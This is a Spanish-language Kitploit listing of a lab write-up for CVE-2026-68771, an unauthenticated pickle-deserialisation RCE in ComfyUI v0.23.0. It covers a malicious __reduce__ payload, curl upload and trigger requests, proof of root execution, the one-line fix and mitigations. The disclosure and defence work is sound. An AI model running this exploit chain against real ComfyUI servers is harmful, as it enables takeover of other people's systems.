Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
comfyui-CVE-2026-68771-PoC — Laboratorio de investigación de seguridad — RCE no autenticado mediante deserialización insegura en ComfyUI v0.23.0 (CVSS 9.8). Entorno Docker aislado, análisis técnico y documentación. | Kitploit
Herramientas/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de IA
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Laboratorio de investigación de seguridad — RCE no autenticado mediante deserialización insegura en ComfyUI v0.23.0 (CVSS 9.8). Entorno Docker aislado, análisis técnico y documentación.

Ver Repositorio
hace 9h 26mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-68771 — ComfyUI: RCE no autenticada mediante deserialización insegura

Solo con fines educativos. Úsalo únicamente contra sistemas de tu propiedad o para los que tengas autorización escrita explícita para probar.


Acerca de ComfyUI

ComfyUI es una interfaz gráfica de código abierto basada en nodos para ejecutar modelos de generación de imágenes y vídeo con IA de forma local. Permite a los usuarios construir complejas canalizaciones de generación conectando nodos visualmente — cada nodo representa una operación como cargar un modelo, codificar indicaciones de texto, muestrear o posprocesar imágenes. Su flexibilidad y su compatibilidad con una amplia gama de modelos (Stable Diffusion, Flux, HunyuanVideo y otros) lo han convertido en una de las herramientas más ampliamente adoptadas en la comunidad de generación con IA.

La aplicación expone una API HTTP local en el puerto 8188, a través de la cual el frontend se comunica con el backend para subir recursos y encolar flujos de trabajo de generación. Aunque está diseñada para uso local de un solo usuario, es habitual encontrar instancias de ComfyUI expuestas en redes internas o directamente en internet — en entornos de GPU en la nube, configuraciones de investigación compartidas o estudios creativos autoalojados — a menudo sin ninguna capa de autenticación adicional, coincidiendo exactamente con el modelo de amenaza que aborda esta vulnerabilidad.

En el momento de la divulgación, ComfyUI tenía más de 65.000 estrellas en GitHub y un ecosistema activo de nodos y extensiones personalizados, muchos de los cuales introducen una superficie de ataque adicional más allá de la aplicación principal.


Resumen ejecutivo

CVE-2026-68771 es una vulnerabilidad de deserialización insegura (CWE-502) en ComfyUI v0.23.0 que permite a un atacante remoto no autenticado ejecutar código arbitrario en el servidor. La cadena de ataque combina dos endpoints no autenticados: para subir un archivo pickle malicioso, y para desencadenar su deserialización a través del nodo .

POST /upload/image
POST /prompt
LoadTrainingDataset
CampoValor
CVECVE-2026-68771
CVSS 3.19.8 (Crítico)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialización de datos no confiables)
Versión vulnerableComfyUI v0.23.0 (y anteriores sin la corrección)
Versión corregidaCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
Publicado31 de julio de 2026

Entorno de laboratorio

  • Plataforma: Docker (host Kali Linux)
  • Imagen base: python:3.11-slim
  • Versión de ComfyUI: v0.23.0 (checkout exacto de git)
  • PyTorch: 2.5.1+cpu (versión anterior al cambio del valor predeterminado de weights_only)
  • Aislamiento de red: Puerto publicado solo en 127.0.0.1:8188, sin acceso a red externa
  • Privilegios del proceso: uid=0 (root)

Análisis técnico

1. Falta de autenticación en los endpoints de la API

POST /upload/image — server.py, líneas 450-453:

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, líneas 927-928:

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Ninguno de los dos endpoints implementa ningún control de acceso. Cualquier cliente HTTP puede subir archivos y encolar flujos de trabajo sin autenticación.


2. La llamada vulnerable — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, línea 1568:

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() sin weights_only=True utiliza el protocolo pickle de Python para deserializar el archivo. Pickle no es un formato de datos — es un protocolo de serialización de objetos de Python que ejecuta el método __reduce__ de cualquier objeto durante la deserialización, lo que permite la ejecución de código arbitrario.

El nodo dependía del valor predeterminado histórico de PyTorch (weights_only=False), lo que lo convertía en la única llamada a torch.load en todo el código base sin el parámetro explícito. El resto del código base (comfy/utils.py, comfy/sd1_clip.py) ya lo pasaba correctamente.


3. Flujo completo del ataque

root@kitploit:~
Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

Evidencia de prueba de concepto (laboratorio)

Creación del pickle malicioso

El payload explota el protocolo reduce de pickle de Python. Cuando torch.load() deserializa el archivo, Python instancia el objeto llamando al invocable devuelto por reduce, ejecutando el comando controlado por el atacante antes de que se ejecute cualquier lógica de la aplicación.

El nombre del archivo debe coincidir con el patrón shard_*.pkl — codificado de forma fija en LoadTrainingDataset.execute() como filtro de descubrimiento de archivos:

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Salida:

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vector 1 — Subida de archivos no autenticada

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Respuesta:

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 sin token, sin sesión, sin cabeceras especiales.


Vector 2 — Ejecución de flujo de trabajo no autenticada

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

Respuesta:

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

Resultado — RCE confirmada

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

La corrección — Diff del commit 94ee49b

Archivo: comfy_extras/nodes_dataset.py
Autor: Matt Miller
Fecha: 18 de junio de 2026
PR: #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

Un único parámetro. weights_only=True indica a PyTorch que utilice un deserializador restringido que solo acepta tensores y tipos primitivos de Python, rechazando cualquier objeto arbitrario con __reduce__.

El mensaje del commit lo resume claramente:

"LoadTrainingDataset era la única llamada a torch.load en el código base sin weights_only=True; comfy/utils.py y comfy/sd1_clip.py ya lo pasan. Las versiones recientes de PyTorch usan weights_only=True por defecto, así que esto es defensa en profundidad para instalaciones fijadas a versiones antiguas de PyTorch."

Nota sobre la versión de PyTorch: A partir de PyTorch 2.6, el valor predeterminado de weights_only cambió de False a True, lo que mitiga la vulnerabilidad en instalaciones modernas de PyTorch incluso sin la corrección del código. El CVE afecta especialmente a instalaciones que ejecutan PyTorch < 2.6, que era el entorno de producción típico cuando se publicó en julio de 2026.


Mitigaciones y recomendaciones

Corrección inmediata

Actualiza ComfyUI al commit 94ee49b o posterior. Una línea de código.

Defensa en profundidad

1. Autenticación en los endpoints de la API
ComfyUI está diseñado para uso local. Si se expone en una red, debe protegerse con un proxy inverso (nginx/Caddy) con autenticación básica, o utilizando el flag --multi-user con una gestión de sesiones adecuada.

2. Nunca expongas ComfyUI directamente a internet
El diseño de la aplicación asume un entorno local de confianza. La puntuación CVSS 9.8 refleja la ausencia total de controles de acceso en la capa de aplicación.

3. Validación del tipo de archivo en la subida
El endpoint /upload/image acepta cualquier extensión de archivo, incluida .pkl. Debería validar el content-type y la extensión contra una lista blanca de formatos de imagen reales.


Conclusiones clave

  • Parámetro de seguridad ausente: El fallo no era un complejo defecto de algoritmo — era la ausencia de un único parámetro en una llamada a una biblioteca. La inconsistencia dentro del mismo código base (otras llamadas a torch.load ya lo tenían) sugiere que este nodo se añadió sin una revisión de seguridad.
  • Confianza implícita en los valores predeterminados de las bibliotecas: Depender del comportamiento predeterminado de una biblioteca es frágil. PyTorch tardó años en cambiar el valor predeterminado de weights_only; el código vulnerable existió durante todo ese periodo.
  • Superficie de ataque compuesta: Ninguno de los dos problemas por sí solo (falta de autenticación + deserialización insegura) habría obtenido una puntuación CVSS 9.8 en un contexto típico de uso local. Es la combinación de ambos lo que hace que la vulnerabilidad sea crítica cuando la instancia se expone en una red.

Análisis realizado en un entorno aislado con fines educativos. Laboratorio destruido tras la documentación.

Descargar herramienta